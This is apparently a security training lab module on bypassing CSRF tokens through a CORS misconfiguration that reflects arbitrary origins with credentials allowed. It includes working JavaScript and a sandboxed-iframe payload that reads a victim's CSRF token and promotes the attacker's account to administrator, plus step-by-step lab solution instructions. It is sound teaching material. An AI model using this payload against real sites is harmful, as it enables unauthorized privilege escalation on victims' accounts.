# Bypassing CSRF Tokens via CORS

In addition to the attack vectors discussed in the previous sections, CORS misconfigurations can also be used to bypass CSRF defenses and carry out CSRF attacks even if proper defenses are implemented.

If CORS is misconfigured so that session cookies are sent along with cross-origin requests, i.e., the `Access-Control-Allow-Credentials` is set, we can effectively bypass the Same-Origin policy. In that case, common CSRF defenses are ineffective, as we will discuss in this section.

## Defense Bypass: CSRF Tokens

If we can bypass the Same-Origin policy due to a CORS misconfiguration, we can access the response of cross-origin requests we make. This allows us to make a cross-origin request to the endpoint that creates a valid CSRF token, read it, embed it into our state-changing cross-origin request, and send the state-changing cross-origin request with the valid CSRF token. Since all this happens in the victim's session, the CSRF token is valid even if properly checked and tied to the victim's user session.

However, for the victim's browser to send the victim's session cookie along with requests made from JavaScript, we require the vulnerable web application to explicitly set the `SameSite` cookie attribute to `None` in addition to the CORS misconfiguration. Per the specification, this is only allowed with the `Secure` cookie attribute, which allows cookie transmission via secure HTTPS connections only. The cookie will not be sent along any unencrypted HTTP connections.

Due to this restriction, the sample web application and all other lab components are only accessible using HTTPS. If we analyze the web application, we can notice that the web application sets the `Access-Control-Allow-Origin` and `Access-Control-Allow-Credentials` CORS headers, indicating that we should check for a CORS misconfiguration. Furthermore, the session cookie is set with both the `Secure` and `SameSite=None` cookie attributes:

`POST request to /login.php on bypassing-csrftokens.htb with user htb-stdnt and password Academy_student%21. Response: HTTP 302 Found, redirecting to profile.php, with CORS allowing origin https://bypassing-csrftokens.htb and credentials. Sets PHPSESSID cookie.`

We can analyze the web application's behavior if we supply different values in the HTTP `Origin` header. If we supply an arbitrary value, we can see that the web application is indeed misconfigured, as arbitrary origins are reflected in the `Access-Control-Allow-Origin` CORS header:

`GET request to /profile.php on bypassing-csrftokens.htb with PHPSESSID cookie and origin https://somearbitraryvalue.htb. Response: HTTP 200 OK, allowing origin https://somearbitraryvalue.htb and credentials.`

We can exploit this CORS misconfiguration with the `SameSite=None` cookie attribute to bypass proper CSRF protection and execute a CSRF attack. Let us analyze the web application further to identify potential targets for this attack.

Like before, the web application implements a functionality to promote user accounts to administrators. This time, the corresponding POST request is properly protected by a CSRF token:

`POST request to /profile.php on bypassing-csrftokens.htb with PHPSESSID cookie. Data includes promote=htb-stdnt and csrf_token=invalid. Response: Error message "Invalid CSRF token."`

Let us write an exploit to obtain a valid CSRF token in the victim's session and subsequently make the corresponding cross-origin request to make the victim promote our user account to have administrator privileges. The CSRF token is sent in response to a GET request to the `/profile.php` endpoint. We can make the corresponding request, parse the response, and extract the CSRF token using JavaScript code similar to the following:

```js
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);
```

Afterward, we can construct the cross-origin request to promote our user with the valid CSRF token:

```js
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
```

We can combine both parts to come up with the following payload on our exploit server:

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	// GET CSRF token
	var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
	var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

	// do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf_token=${csrftoken}`;
    csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
	csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>"></iframe>
```

If we view our exploit, we can see an authenticated GET request to `/profile.php` followed by an authenticated POST request to `/profile.php` with the valid CSRF token. Thus, our exploit should work. After delivering it to the victim and waiting for a few seconds, our user is promoted to administrator. Thus, we successfully exploited the CORS misconfiguration to bypass the CSRF protection and conduct a successful CSRF attack.

## Bypassing CSRF Tokens Questions

**Question 1: Identify a CORS misconfiguration and exploit it to conduct a CSRF attack and obtain administrator privileges.**

1. Add the necessary vHosts to your `/etc/hosts` file:

   ```bash
   sudo sh -c 'echo "10.129.233.62 exploitserver.htb bypassing-csrftokens.htb" >> /etc/hosts'
   ```
2. Navigate to `https://bypassing-csrftokens.htb`, logging in with the credentials `htb-stdnt:Academy_student!`.
3. Analyze the response headers for the login and profile pages to identify the CORS misconfiguration (specifically, the `Access-Control-Allow-Origin` header reflecting an arbitrary origin or trusting `null`). Note that the session cookie should have `Secure` and `SameSite=None` attributes.
4. Identify the CSRF token on the `/profile.php` page (e.g., `<input type="hidden" id="csrf_token" name="csrf_token" value="...">`).
5. Prepare an XSS payload on the exploit server (`https://exploitserver.htb`). This payload should be within a sandboxed iframe to supply a null origin if needed for the CORS misconfiguration. The JavaScript in the payload should:
   * Make an authenticated GET request to `/profile.php` to obtain a valid CSRF token.
   * Extract the CSRF token from the response.
   * Make an authenticated POST request to `/profile.php` with the extracted CSRF token and `promote=htb-stdnt` to promote your user.
6. Save the payload on the exploit server.
7. Deliver the payload to the victim by navigating to `https://exploitserver.htb/deliver` and selecting `bypassing-csrftokens.htb` as the target vHost.
8. Refresh `https://bypassing-csrftokens.htb/profile` and confirm your user has been promoted to "administrator".
